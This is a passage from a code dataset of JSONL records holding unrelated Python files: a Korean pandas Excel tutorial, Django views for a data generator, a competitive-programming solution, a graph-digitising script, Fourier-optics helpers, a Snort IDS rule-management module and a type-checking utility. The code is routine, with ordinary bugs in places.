DataFrame 데이터를 엑셀 파일로 쓰는 방법')\n\nexcel_file = folder + '사원별_월간_판매현황2.xlsx'\ndf1 = pd.read_excel(excel_file, sheet_name=0)\ndf2 = pd.read_excel(excel_file, sheet_name=1)\n\nexcel_file = folder + '사원별_월간_판매현황_output.xlsx'\n# index=False는 index를 포함하지 않게 하는 옵션\nprint(\"df1.to_excel(excel_file, sheet_name='상반기', index=False):\\n{0}\".format(df1.to_excel(excel_file, sheet_name='상반기', index=False)))\nprint(\"생성한 엑셀 파일: \", excel_file)\n\n# DataFrame 데이터를 엑셀 파일의 '상반기'와 '하반기' 시트에 쓰기\nprint('-- 하나의 엑셀 파일에 여러 개의 DataFrame 데이터를 쓰려면 ExcelWriter로부터 객체를 생성해 to_excel()을 이용')\nwith pd.ExcelWriter(excel_file, engine='xlsxwriter') as excel_writer:\n df1.to_excel(excel_writer, sheet_name='상반기', index=False)\n df2.to_excel(excel_writer, sheet_name='하반기', index=False)\n\nprint(\"with pd.ExcelWriter(excel_file, engine='xlsxwriter') as excel_writer:\"\n \"\\n\\tdf1.to_excel(excel_writer, sheet_name='상반기', index=False)\"\n \"\\n\\tdf2.to_excel(excel_writer, sheet_name='하반기', index=False)\")\n\n# 여러 개의 DataFrame 데이터를 하나의 엑셀 워크시트에 위치를 지정해 쓰는 예\ndf1 = pd.DataFrame({'제품ID': ['P1001','P1002','P1003','P1004'],\n '판매가격': [5000, 7000, 8000, 10000],\n '판매량': [50, 93, 70, 48]})\ndf2 = pd.DataFrame({'제품ID': ['P2001','P2002','P2003','P2004'],\n '판매가격': [5000, 7000, 8000, 10000],\n '판매량': [50, 93, 70, 48]})\ndf3 = pd.DataFrame({'제품ID': ['P3001','P3002','P3003','P3004'],\n '판매가격': [5000, 7000, 8000, 10000],\n '판매량': [50, 93, 70, 48]})\ndf4 = pd.DataFrame({'제품ID': ['P4001','P4002','P4003','P4004'],\n '판매가격': [5000, 7000, 8000, 10000],\n '판매량': [50, 93, 70, 48]})\n\nexcel_file = folder + 'product_sales_in_one_worksheet.xlsx'\n# 생성한 객체(excel_writer)을 이용해 DataFrame 데이터(df)를 쓰기\nexcel_writer = pd.ExcelWriter(excel_file, engine='xlsxwriter')\n\n# 여러 DataFrame 데이터를 하나의 엑셀 워크시트에 위치를 달리해서 출력\ndf1.to_excel(excel_writer) # startrow=0, startcol=0과 동일\ndf2.to_excel(excel_writer, startrow=0, startcol=5, index=False)\ndf3.to_excel(excel_writer, startrow=6, startcol=0)\ndf4.to_excel(excel_writer, startrow=5, startcol=5, index=False, header=False)\n\nprint(\"\\n-- 여러 DataFrame 데이터를 하나의 엑셀 워크시트에 위치를 달리해서 출력\")\nprint(\"df1.to_excel(excel_writer)\")\nprint(\"df2.to_excel(excel_writer, startrow=0, startcol=5, index=False)\")\nprint(\"df3.to_excel(excel_writer, startrow=6, startcol=0)\")\nprint(\"df4.to_excel(excel_writer, startrow=5, startcol=5, index=False, header=False)\")\n\n# [CSV 파일 읽고 엑셀 파일로 쓰기, 엑셀 파일 읽고 CSV 파일로 쓰기]\ninput_csv_file = folder + 'korea_rain1.csv'\noutput_excel_file = folder + 'out_korea_rain1.xlsx'\n\ndf = pd.read_csv(input_csv_file)\ndf.to_excel(output_excel_file, index=False)\nprint('\\n- CSV 파일을 엑셀 파일로 변환하는 코드')\nprint('df = pd.read_csv(in_csv_file)')\nprint('df.to_excel(out_excel_file, index=False)')\nprint(\"출력 엑셀 파일:\", output_excel_file)\n\n# [엑셀 파일을 CSV 파일로 변환하는 코드]\ninput_excel_file = folder + 'korea_rain1.xlsx'\noutput_csv_file = folder + 'out_korea_rain_cp949.csv'\n\ndf = pd.read_excel(input_excel_file)\ndf.to_csv(output_csv_file, encoding='cp949', index=False)\nprint('\\n- 엑셀 파일을 CSV 파일로 변환하는 코드')\nprint('df = pd.read_excel(input_excel_file)')\nprint(\"df.to_csv(output_csv_file, encoding='cp949',index=False)\")\nprint(\"출력 CSV 파일:\", output_csv_file)\n\n\n","repo_name":"ottogi99/tutorials","sub_path":"Pandas_Tutorial/03.basic_spreadsheet.py","file_name":"03.basic_spreadsheet.py","file_ext":"py","file_size_in_byte":8663,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9210790239","text":"from django.shortcuts import redirect, render\nfrom django.urls import reverse_lazy\nfrom django.utils import timezone\nfrom django.views.generic import TemplateView, CreateView, DeleteView, UpdateView\nfrom django.contrib.auth.mixins import LoginRequiredMixin\n\nfrom .models import Schema, Column, DataSet\nfrom .forms import SchemaForm, ColumnFormSet\nfrom .tasks import generate_data\n\n\nclass SchemaListView(LoginRequiredMixin, TemplateView):\n \"\"\"\n Return Schema models list\n \"\"\"\n\n model = Schema\n template_name = 'generator/schema_list.html'\n\n def get(self, request, *args, **kwargs):\n output = {\n 'object_list': Schema.objects.filter(user__exact=request.user).order_by('-id')\n }\n return self.render_to_response(output)\n\n\ndef schema_create_view(request):\n if request.method == 'GET':\n formset = ColumnFormSet(request.GET or None)\n form = SchemaForm(request.GET or None)\n elif request.method == 'POST':\n formset = ColumnFormSet(request.POST)\n form = SchemaForm(request.POST)\n\n if form.is_valid() and formset.is_valid():\n schema_name = form.cleaned_data.get('name')\n schema = Schema(name=schema_name, user=request.user)\n schema.save()\n\n for form in formset:\n column_name = form.cleaned_data.get('name')\n column_type = form.cleaned_data.get('type')\n column_start_from = form.cleaned_data.get('start_from')\n column_to = form.cleaned_data.get('to')\n column_order = form.cleaned_data.get('order')\n\n column = Column(name=column_name, type=column_type, start_from=column_start_from, to=column_to,\n schema=schema, order=column_order)\n column.save()\n else:\n return render(request, 'generator/create_schema.html', {'columns': formset, 'form': form})\n\n return redirect('generator:schema-list')\n\n return render(request, 'generator/create_schema.html', {'columns': formset, 'form': form})\n\n\ndef schema_update_view(request, pk):\n schema = Schema.objects.filter(pk=pk).first()\n if request.method == 'GET':\n formset = ColumnFormSet(request.GET or None, instance=schema)\n form = SchemaForm(request.GET or None, instance=schema)\n\n elif request.method == 'POST':\n formset = ColumnFormSet(request.POST, instance=schema)\n form = SchemaForm(request.POST, instance=schema)\n\n if form.is_valid() and formset.is_valid():\n schema_name = form.cleaned_data.get('name')\n schema = Schema.objects.filter(pk=pk).first()\n schema.name = schema_name\n schema.modified = timezone.now()\n schema.save()\n\n formset.save()\n else:\n return render(request, 'generator/create_schema.html', {'columns': formset, 'form': form})\n\n return redirect('generator:schema-list')\n\n return render(request, 'generator/create_schema.html', {'columns': formset, 'form': form})\n\n\nclass SchemaDeleteView(LoginRequiredMixin, DeleteView):\n model = Schema\n success_url = reverse_lazy('generator:schema-list')\n template_name = 'generator/delete_schema.html'\n\n\nclass CreateDataSet(LoginRequiredMixin, CreateView):\n \"\"\"\n Creating DataSet model using celery task generate_data()\n \"\"\"\n\n model = DataSet\n template_name = 'generator/create_dataset.html'\n fields = '__all__'\n\n def get(self, request, *args, **kwargs):\n schema = Schema.objects.filter(pk__exact=self.kwargs['pk']).first()\n\n return self.render_to_response(\n {'object_list': DataSet.objects.filter(\n schema__exact=schema).order_by('-id')})\n\n def post(self, request, *args, **kwargs):\n schema = Schema.objects.filter(pk__exact=self.kwargs['pk']).first()\n rows_num = int(request.POST.get('rows'))\n\n data_set = DataSet.objects.create(schema=schema)\n\n generate_data.delay(rows_num, [column_id.pk for column_id in schema.column_set.all()], data_set.id)\n return redirect('generator:create-dataset', pk=schema.pk)\n","repo_name":"samson0v/data_generator","sub_path":"generator/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27976464333","text":"#import heapq\n#import itertools\n#import math\n#import numpy as np\n#import sys\n\nN = int(input())\nA = list(map(int, input().split()))\n#S = [input() for _ in range(H)]\n# T = [list(map(int,input().split())) for _ in range(N)]\n# sys.exit()\n#print(A)\nans = 0\nfor i in range(1,N) :\n for j in range(i+1, N+1) :\n #print(i,j)\n ans += A[i - 1] ^ A[j - 1]\n\n# TLE orz\nprint(ans % (10 ** 9 + 7))","repo_name":"okiyuki99/AtCoder","sub_path":"solutions/abc147/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74286478275","text":"\"\"\"\nQuality-of-life functions for my fft and field calculations\n\"\"\"\n\n## modules. I don't import all from numpy to avoid subtle problems in importing numpy elsewhere\nfrom numpy import (array, linspace, meshgrid, argmax, angle, flip, zeros, append, copy, full, random,\n exp, sqrt, arctan2, pi, amax, amin, conjugate, ones, arange)\nfrom numpy.fft import fft,fft2,fftshift,ifftshift\nimport numpy as np\nfact = np.math.factorial\nfrom scipy.special import eval_hermite as Hermite\nfrom random import random as rand\nimport matplotlib.pyplot as plt\nfrom time import time\n\ndef figax(roi=None, xlabel=None, ylabel=None, aspect='equal',pltargs=[],pltkwargs={}):\n \"\"\"\n return fig, ax. all params optional\n Args:\n roi: zoom to -roi, roi. None by default\n xlabel: None by default\n ylabel: None by default\n aspect: equal by default\n \"\"\"\n fig,ax = plt.subplots(*pltargs,**pltkwargs)\n if roi is not None:\n ax.set_xlim(-roi,roi)\n ax.set_ylim(-roi,roi)\n if aspect is not None:\n ax.set_aspect(aspect)\n if xlabel is not None:\n ax.set_xlabel(xlabel)\n if ylabel is not None:\n ax.set_ylabel(ylabel)\n return fig, ax\n \ndef get_meshgrid(w, pts, polar=False, wy=None):\n \"\"\"\n Args:\n 'w': grid half width\n 'pts': pts along one dimension; i.e. the full grid is pts x pts\n 'polar': will return rr and phi meshgrid instead of xx,yy\n Returns:\n xarr, midpt, and xx,yy or rr,phi\n \"\"\"\n midpt = int(pts/2)\n x = linspace(-w, w, pts)\n if wy is not None:\n pts_y = floor((pts/w)*wy+0.5) # keep the same points density in y\n y = linspace(-wy,w,pts_y)\n else:\n y = linspace(-w, w, pts)\n xx, yy = meshgrid(x,y, sparse=True)\n if polar:\n rr = sqrt(xx**2 + yy**2)\n phi = arctan2(yy,xx)\n phi[:midpt, :] += 2*pi\n return x,midpt,rr,phi\n else:\n return x,midpt,xx,yy\n \ndef get_grid(dx,dy,xnum,ynum):\n \"\"\"\n Retunr xpts,ypts denoting centers of pts on a regular grid\n Args:\n dx,dy: center-center spacing in x,y directions\n xnum, ynum: number of columns, rows\n Return:\n xpts,ypts: lists of x coords,y coords for grid pts\n \"\"\"\n xpts = []\n ypts = []\n for i in range(xnum):\n for j in range(ynum):\n ypts.append((1+i)*dy - dy*(1+ynum)/2)\n xpts.append((1+j)*dx - dx*(1+xnum)/2)\n return xpts, ypts\n\ndef justify(arr):\n \"\"\"\n center an array that goes to zero sufficiently before the endpts\n returns the centered array. \n \n this is not at all a sophisticated method. it assumes a global maximum of \n the array should be at the center. \n \n Args:\n arr: the array to be centered\n Returns:\n a copy of the original array, shifted to be centered\n \"\"\"\n diffidx = int(argmax(arr) - (len(arr)/2 - 1))\n cp = zeros(len(arr), complex)\n for i in range(0,len(arr)-diffidx):\n cp[i] = arr[i + diffidx]\n return cp\n\ndef from_quadrant3(qd3, field=None):\n \"\"\"\n construct field with rectangular symmetry given only\n quadrant 3 (i.e., field is mirrored across x axis and\n across y axis)\n \n Args;\n 'qd3' 2D numpy array\n Returns:\n 'field' 2D numpy array\n \"\"\"\n \n midx, midy = qd3.shape\n \n if field is None:\n field = zeros((2*midx, 2*midy), complex)\n \n field[:midx, :midy] = qd3\n # qd4\n field[:midx, midy:] = flip(qd3, axis=1) \n # qd1\n field[midx:, midy:] = flip(qd3)\n # qd2\n field[midx:, :midy] = flip(qd3, axis=0)\n \n return field\n \ndef const_pad(field, thiccness, const):\n \"\"\"\n pad the field on each edge with a const value\n \n Args:\n field: 2D array to be padded\n thiccness: number of rows and columns of zeros to be added to field\n Returns:\n 2D array of shape (field.shape[0]+2*thiccness, field.shape[1]+2*thiccness)\n \"\"\"\n \n rows, cols = field.shape\n # pad left/right edges\n field = append(field, full((rows, thiccness), const), axis=1)\n field = append(full((rows, thiccness), const), field, axis=1)\n # pad top/bottom edges\n cols = field.shape[1]\n field = append(field, full((thiccness, cols), const), axis=0)\n field = append(full((thiccness, cols), const), field, axis=0)\n \n return field\n\ndef zero_pad(field, thiccness):\n \"\"\"\n pad the field on each edge with zeros\n \n Args:\n field: 2D array to be padded\n thiccness: number of rows and columns of zeros to be added to field\n Returns:\n 2D array of shape (field.shape[0]+2*thiccness, field.shape[1]+2*thiccness)\n \"\"\"\n\n return const_pad(field, thiccness, 0)\n \ndef unpad(field, thiccness):\n \"\"\"\n unpad the field on each edge given the padding thiccness\n \n Args:\n field: 2D array to be padded\n thiccness: number of rows and columns to be removed\n Returns:\n 2D array of shape (field.shape[0]-2*thiccness, field.shape[1]-2*thiccness)\n \"\"\"\n \n field = field[thiccness:,:]\n field = field[:-thiccness,:]\n field = field[:,thiccness:]\n field = field[:,:-thiccness]\n\n return field\n \ndef circ_mask(rgrid, radius):\n \"\"\"\n create a mask that is 1 within some radius and 0 otherwise\n Args:\n rgrid: the radius grid to use for evaluating the radius equality\n radius: the radius, in the same units as rgrid\n Return:\n mask: the binary mask, a 2D array with same dimensions as rgrid\n \"\"\" \n \n rows,cols = rgrid.shape\n assert rows == cols, \"assumes square matrix. could update this method later\"\n midpt = int(rows/2)\n res = abs(rgrid[midpt,-1] + rgrid[midpt,0])/rows # [length/pts]\n \n pts_halfwidth = int(radius/res) # [pts] \n \n idcs = arange(midpt-pts_halfwidth,midpt+pts_halfwidth,1)\n \n mask = zeros((rows,cols))\n for i in idcs:\n for j in idcs:\n if rgrid[i,j] < radius:\n mask[i,j] = 1\n \n return mask\n \ndef spot_mask(xnum, ynum, a, dx, dy, pts, pos_std=None, phi_std=None, plate=0, aperture=1):\n \"\"\"\n Warning: this will may not work as expected if xnum or ynum is odd\n Args:\n xnum: # of spots in x (columns)\n ynum \" \" \" \" y (rows)\n a: aperture spot radius\n dx: center-center distance in x\n dy: \" \" \" \" y\n pts: number of pts in one dimesnsion in the 2D array output. ie output\n mask is pts x pts\n pos_std: std for randomness added to spot centers. should be a decimal \n representing percentage of 'a', e.g. 0.10 would give normally\n distributed noise with sigma = 0.10*a\n phi_std: std for random phase given to each aperture unit cell. units are in 2*pi and phase is sampled from\n from a normal dist. phi_std = 0.1 would correspond to sigma 0.1*2*pi radians, so there is a \n +/- 10% spread of phase over the apertures compared to the plate. Note that to create mask where \n this phase is only applied to the spot, plate must be set to 0. after creating the mask with this function,\n you can then add a constant to offset the transmittance of the whole mask\n plate: 0 by default; plate transmittance\n aperture: 1 by default; aperture transmittance\n Returns: \n 2D array, xarr, w: binary mask of spots, 1D array of real space x coordinates, and real space half width.\n The realspace full width of the grid 2*w = (max(xnum,ynum) + 1)*dx\n \"\"\"\n\n w = (max(xnum,ynum) + 1)*max(dx,dy)/2 # array real space half-width \n res = 2*w/pts # real space distance between adjacent pts\n\n # make subgrid and build a single aperture mask:\n subpts = int(2*a/res + 0.5) # number of pts to make a side length 2*a\n if not (xnum % 2) or not (ynum % 2):\n assert subpts % 2 == 0, \"try a slightly different even number of points so that sub-array width is even\"\n \n sarr,smidpt,srr,sphi = get_meshgrid(a, subpts, polar=True)\n smask = zeros((subpts,subpts))\n bin_mask_outer = copy(smask) # fill with ones outside of the aperture\n bin_mask_inner = copy(smask) # fill with ones inside of the aperture\n \n # TODO: build binary phase mask component matrices as on the whiteboard\n if phi_std is not None:\n phase = lambda :random.normal(0, 2*pi*phi_std)\n else:\n phase = lambda :0\n \n for j in range(smidpt):\n for i in range(smidpt):\n transmit = int(srr[i,j] < a)\n if transmit:\n smask[i,j] = aperture\n else:\n smask[i,j] = plate\n bin_mask_inner[i,j] = transmit\n bin_mask_outer[i,j] = 1 - transmit\n \n smask = from_quadrant3(smask[:smidpt,:smidpt], smask)\n bin_mask_inner = from_quadrant3(bin_mask_inner[:smidpt,:smidpt], bin_mask_inner)\n bin_mask_outer = from_quadrant3(bin_mask_outer[:smidpt,:smidpt], bin_mask_outer)\n \n # the centroids of the apertures\n xpts, ypts = get_grid(dx,dy,xnum,ynum)\n \n # add noise, optionally\n if pos_std is not None:\n # TODO: add noise from a normal dist of sigma = std*a \n xpts = array([x + nx for x,nx in zip(xpts,random.normal(0,pos_std,xnum*ynum))])\n ypts = array([y + ny for y,ny in zip(ypts,random.normal(0,pos_std,xnum*ynum))])\n \n # convert centroids to mask indices\n yidcs = [int((y + w)/res) for y in ypts]\n xidcs = [int((x + w)/res) for x in xpts]\n \n # print(min(yidcs), max(yidcs), min(xidcs), max(xidcs))\n \n midpt = int(pts/2)\n mask = full((pts, pts), plate, complex)\n\n # build the mask\n for i,j in zip(yidcs,xidcs):\n mask[i-smidpt:i+smidpt,j-smidpt:j+smidpt] = smask*(bin_mask_outer + bin_mask_inner*exp(1j*phase()))\n \n # real space coordinates\n xarr = array([i*res - w for i in range(pts)])\n \n return mask, xarr, w\n \ndef get_fourierfield(dx,dy,xnum,ynum,f1,k,a,x1pts,rr,A0=1): \n \"\"\"\n the analytic fourier field from a periodic 2D array of circular apertures\n \"\"\"\n \n def repeat_phase(x1,y1,dx,dy,xnum,ynum,f1,k,suppress_output=True):\n \"\"\"\n The sinusoidal factor appearing in the Fourier plane for an input\n field of x (y) periodicity dx (dy)\n\n x1,y1: spatial coordinate in the Fourier plane\n dx,dy: periodicity in x,y\n f1: focal length of the lens\n \"\"\"\n return (sin(xnum*k*dx*x1/(2*f1))*sin(ynum*k*dy*y1/(2*f1)) \\\n /(sin(sin(k*dx*x1/(2*f1))*sin(k*dy*y1/(2*f1)))))\n\n pts = len(x1pts)\n midpt = int(pts/2)\n\n field1 = zeros((pts, pts))\n t0 = time()\n q3_phase = 0 + 0*1j\n q3 = empty((midpt, midpt), complex)\n for i in range(midpt):\n for j in range(midpt):\n q3_phase = repeat_phase(x1pts[j], x1pts[i], dx, dy, xnum, ynum, f1, k)\n q3[i,j] = -1j*A0*a*j1(a*rr[i,j]*k/f1)*q3_phase/rr[i,j]\n print(f\"calculated field1 in {time()-t0} s\")\n field1 = from_quadrant3(q3)\n \n return field1\n \ndef propagate(z,field1,k,x1pts,rr,padding,padval=0,logging=True):\n \"\"\"\n Free space Fresnel diffraction.\n \n Args:\n z: distance to propagate\n field1: the field in front focal plane of the lens\n b: fourier filter radius. unused if masked=False\n k: wavenumber\n x1pts: real space coordinates in input plane. len(x1pts) = field1.shape[0] or [1]\n rr: grid of radii coordinates in input plane. same dimensions as field1\n padding: int, number of rows and cols of zeros to pad onto to field1 before computing the\n fft. this increases the resolution from ~ 1/field.shape[0] to ~ 1/(field.shape[0]+2*padding)\n padval: the value with which to pad. 0 by default.\n Return: \n field2: 2D array of shape field.shape\n x2pts: array of points giving the real space coordinates in the output plane\n \"\"\"\n \n assert rr.shape == field1.shape, \"rr and field1 must be of same dimensions\"\n \n mask = ones(rr.shape)\n \n ## compute the 2D fft in xy plane\n\n # make a phase mask for the fft argument -- this propagates the field a distance z in free space\n prop = lambda z, rr: exp(1j*k*rr**2/(2*z)) #\n\n # pad the field, as well as any other arrays to be used hereafter.\n if padval == 0:\n field1 = zero_pad(field1*mask, padding) # add the mask here\n else:\n field1 = const_pad(field1*mask, padding, padval)\n \n rr = zero_pad(rr, padding)\n\n t0 = time()\n \n field2 = fftshift(fft2(ifftshift(field1*prop(z, rr)))) # might need a nyquist mask?\n if logging:\n print('z =',z)\n print(f\"calculated field2 in {time()-t0} s\")\n\n # unpad the fields, etc\n field1 = unpad(field1, padding)\n field2 = unpad(field2, padding)\n rr = unpad(rr, padding)\n \n pts = len(x1pts)\n x2pts = array([i*1/(x1pts[1]-x1pts[0])*(2*pi/k)*z/(2*padding + pts) for i in linspace(-pts/2, pts/2, pts)])\n \n return field2,x2pts\n\n \ndef lens_xform(z2,field1,b,f,k,x1pts,rr,padding,masked=False,padval=0,logging=True):\n \"\"\"\n Compute the Fourier transform of an optical field by lens f-z2 at a \n distance z2 from the back of the lens. Uses numpy fft library\n \n Args:\n z2: distance from lens f\n field1: the field in front focal plane of the lens\n b: fourier filter radius. unused if masked=False\n f: lens focal length\n k: wavenumber\n x1pts: real space coordinates in input plane. len(x1pts) = field1.shape[0] or [1]\n rr: grid of radii coordinates in input plane. same dimensions as field1\n padding: int, number of rows and cols of zeros to pad onto to field1 before computing the\n fft. this increases the resolution from ~ 1/field.shape[0] to ~ 1/(field.shape[0]+2*padding)\n masked: apply a circular filter in the input plane to only transmit the field within a circle of \n radius b. False by default\n padval: \n Return: \n field2: 2D array of shape field.shape\n x2pts: array of points giving the real space coordinates in the output plane\n \"\"\"\n \n assert rr.shape == field1.shape, \"rr and field1 must be of same dimensions\"\n \n # optionally mask the field - circular aperture of radius b\n if masked:\n mask = circ_mask(rr, b) # ones within b, else zeros\n else:\n mask = ones(rr.shape)\n \n ## compute the 2D fft in xy plane\n\n # make a phase mask for the fft argument -- this propagates the field a distance z2 from lens f\n prop = lambda z2, f, rr: exp(-1j*k*rr**2*(z2/f - 1)/(2*f)) # = 1 when z2 = f\n\n # pad the field, as well as any other arrays to be used hereafter.\n if padval == 0:\n field1 = zero_pad(field1*mask, padding) # add the mask here\n else:\n field1 = const_pad(field1*mask, padding, padval)\n \n rr = zero_pad(rr, padding)\n\n t0 = time()\n \n field2 = fftshift(fft2(ifftshift(field1*prop(z2, f, rr)))) # might need a nyquist mask?\n if logging:\n print('f - z2 =',f-z2)\n print(f\"calculated field2 in {time()-t0} s\")\n\n # unpad the fields, etc\n field1 = unpad(field1, padding)\n field2 = unpad(field2, padding)\n rr = unpad(rr, padding)\n \n pts = len(x1pts)\n x2pts = array([i*1/(x1pts[1]-x1pts[0])*(2*pi/k)*f/(2*padding + pts) for i in linspace(-pts/2, pts/2, pts)])\n \n return field2,x2pts\n\ndef hermite_gaussian(m,n,w0):\n \"\"\"\n return a function Amn(x,y) for the amplitude of the \n (m,n)th Hermite-Gaussian beam, taking args x,y and \n assuming the beam is in focus (z=0) with waist w0.\n \"\"\"\n \n return lambda x,y: sqrt(2/(pi*2**(m+n)*fact(m)*fact(n)))*(\n Hermite(n,sqrt(2)*x/w0)*Hermite(m,sqrt(2)*y/w0)\n )*exp(-(x**2+y**2)/w0**2)/w0\n\ndef multimode_field(nrange,w0,gridhw,pts):\n \"\"\"\n Returns a Hermite Gaussian multimode field \n \n Args:\n nrange: maximum mode number. modes will go up H.G.(nrange, nrange)\n w0: Gaussian waist w0\n gridhw: the realspace halfwidth of the output grid\n pts: the number of pixels in 1D; full output will be pts x pts\n Return:\n field: the complex field of dimensions of the meshgrid coordinates\n \"\"\"\n field = zeros((pts,pts), complex)\n _,_,xx,yy = get_meshgrid(gridhw,pts)\n \n# if phase == 'white':\n# phi_func = lambda x: rand() \n \n for n in range(nrange):\n for m in range(nrange):\n field += hermite_gaussian(m,n,w0)(xx,yy)*exp(-1j*2*pi*rand())\n return field","repo_name":"prhuft/fourier-optics","sub_path":"field_funcs.py","file_name":"field_funcs.py","file_ext":"py","file_size_in_byte":16525,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"29274695865","text":"from __future__ import print_function\n\nimport sys\nimport os\nimport logging\nimport types\n\nfrom ruleman import rules\nfrom ruleman import config\nfrom ruleman import util\nfrom ruleman import snort\n\nlogger = logging.getLogger(\"ruleman.core\")\n\ndef set_policy(rule_map, policy, inline=False):\n \"\"\" Given a map (dict) of rules, enable or disable rules based on\n their policy metadata.\n\n Returns a tuple (enabled, disabled, dropped) containing the counts\n of rules enabled, rules disabled and rules changed to drop. \"\"\"\n\n enabled = 0\n disabled = 0\n dropped = 0\n\n for rule in rule_map.itervalues():\n if policy in rule.policies:\n if not rule.enabled:\n rule.enabled = True\n enabled += 1\n if inline and rule.policies[policy] == \"drop\":\n rule.action = \"drop\"\n dropped += 1\n elif rule.enabled:\n rule.enabled = False\n disabled = False\n return (enabled, disabled, dropped)\n\ndef load_ruleset_files(ruleset):\n \"\"\" Load the ruleset files into memory, regenerating SO rule stubs\n if required. \"\"\"\n if \"files\" in ruleset:\n # Nothing to do.\n return\n\n ruleset_filename = \"%s/%s/ruleset.tar.gz\" % (\n config.RULESET_DATA_DIR, ruleset[\"name\"])\n files = util.archive_to_dict(ruleset_filename)\n ruleset[\"files\"] = {}\n for filename in files:\n if filename not in ruleset[\"ignore-files\"]:\n ruleset[\"files\"][filename] = files[filename]\n return ruleset[\"files\"]\n\ndef load_ruleset_rules(ruleset):\n \"\"\" For the given ruleset, load the individual rules from its rule\n files. \"\"\"\n if \"rules\" in ruleset:\n # Already cached. Return the cached rules.\n return ruleset[\"rules\"]\n ruleset[\"rules\"] = rules.build_rule_map(ruleset[\"files\"])\n return ruleset[\"rules\"]\n\ndef fix_flowbit_dependencies(rules):\n \"\"\" Fix up flowbit dependencies on the in-memory database of rules.\n\n This is done by generating a list of all the flowbits that are\n checked by enabled rules, then any rules that modify those\n flowbits will be enabled. \"\"\"\n\n assert(type(rules) == types.DictType)\n\n def __fix_flowbit_dependencies():\n required = []\n n = 0\n\n # Put all required flowbits into a list.\n for rule in rules.values():\n if rule.enabled:\n for fb in rule.flowbits_checked:\n if fb not in required:\n required.append(fb)\n\n # Make sure any rule that toggles flowbits in the required set\n # is enabled.\n for rule in rules.values():\n if not rule.enabled:\n for fb in rule.flowbits_set:\n if fb in required:\n logger.debug(\n \"Enabling rule %s for flowbit dependency\" % (\n str(rule.key)))\n rule.enabled = True\n n += 1\n\n return n\n\n count = 0\n while 1:\n n = __fix_flowbit_dependencies()\n if n == 0:\n break\n count += n\n\n return count\n\ndef disable_xform(rule):\n if rule.enabled:\n rule.enabled = False\n logger.debug(\"Disabled rule %s\" % (rule.brief()))\n return True\n return False\n\ndef enable_xform(rule):\n if not rule.enabled:\n rule.enabled = True\n logger.debug(\"Enabled rule %s\" % (rule.brief()))\n return True\n return False\n\ndef drop_xform(rule):\n if rule.enabled and rule.action != \"drop\":\n rule.action = \"drop\"\n logger.debug(\"Set to drop %s\" % (rule.brief()))\n return True\n return False\n\ndef apply_rule_xform(rule_map, matchers, xform):\n count = 0\n for rule in rule_map.itervalues():\n if matchers.match(rule):\n if xform(rule):\n count += 1\n return count\n\ndef disable_rules(rule_map, matchers):\n return apply_rule_xform(rule_map, matchers, disable_xform)\n\ndef enable_rules(rule_map, matchers):\n return apply_rule_xform(rule_map, matchers, enable_xform)\n\ndef drop_rules(rule_map, matchers):\n return apply_rule_xform(rule_map, matchers, drop_xform)\n\ndef build_sid_msg_map(rule_map, file):\n \"\"\" Using rule_map, write out a sid-msg.map file to the provided\n file. \"\"\"\n # Get the keys sorted by sid.\n keys = sorted(rule_map.keys(), key=lambda k: k[1])\n\n # Dump a sig-msg.map line for each rule in gid 1 or 3.\n for key in keys:\n if not key[0] in [1,3]:\n continue\n rule = rule_map[key]\n parts = [str(rule.sid), rule.msg] + rule.references\n print(\"%s\" % \" || \".join(parts), file=file)\n","repo_name":"jasonish/ruleman","sub_path":"lib/ruleman/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":4675,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"28050805115","text":"# header\n# This script takes a\n#\n# modules\nimport numpy as np\nfrom functions import *\n\n\n# user input\nsaveData = 1\nprintData = 1\nimage_path = 'source_figures/xaPre_height_mvw.png'\nprofile_name = 'xaPre_height_mvw_stable'\nverAxis_base = 500\nhorAxis_base = 0.12\n\n\n\n# read coordinates (user input)\nIX, IY = set_graph_coordinates(image_path)\n\n# amount of pixels base takes up\nverAxis_base_pixels = -(IY[1]-IY[0])\nhorAxis_base_pixels = IX[4]-IX[3]\n\n# data in pixel units\nverAxis_pixList = -(IY[6:]-IY[2])\nhorAxis_pixList = IX[6:]-IX[5]\n\n# convert pixels to graph units\ny = pixList_to_graphData(verAxis_pixList, verAxis_base, verAxis_base_pixels)\nx = pixList_to_graphData(horAxis_pixList, horAxis_base, horAxis_base_pixels)\n\n\n# write data to csv file\nif saveData: np.savez(fr'output_data/{profile_name}',y=y,x=x)\nif printData: print(x,y)\n\n\n\n","repo_name":"LouisKokee/graph-reader","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70644338756","text":"from inspect import signature\nimport sys\nfrom types import FunctionType\nfrom typing import (\n Any,\n Callable,\n get_type_hints,\n Mapping,\n Sequence,\n)\n\ntry:\n from typing import _eval_type\nexcept ImportError as e:\n raise NotImplementedError(\"runtime-type-checker is incompatible with the version of python used.\") from e\n\n\n__all__ = [\"evaluate_forward_reference\", \"get_func_type_hints\", \"type_repr\"]\n\n\ndef evaluate_forward_reference(forward_reference, module_name=None):\n \"\"\"\n Evaluate a forward reference using the module name's dict\n \"\"\"\n if module_name:\n try:\n globalns = sys.modules[module_name].__dict__\n except (KeyError, AttributeError):\n globalns = None\n else:\n globalns = None\n return _eval_type(forward_reference, globalns, None)\n\n\ndef get_func_type_hints(func: Callable[..., Any]) -> Mapping[str, Any]:\n \"\"\"\n returns a mapping of argument name & \"return\" (for return value) to type annotation.\n Defaults to Any if no annotation is provided.\n \"\"\"\n results = {}\n type_hints = get_type_hints(func)\n func_sig = signature(func)\n for name, param in func_sig.parameters.items():\n type_hint = type_hints.get(name, param.annotation)\n annotation = Any if type_hint is param.empty else type_hint\n if param.kind is param.VAR_KEYWORD:\n results[name] = Mapping[str, annotation]\n elif param.kind is param.VAR_POSITIONAL:\n results[name] = Sequence[annotation]\n else:\n results[name] = annotation\n\n type_hint = type_hints.get(\"return\", 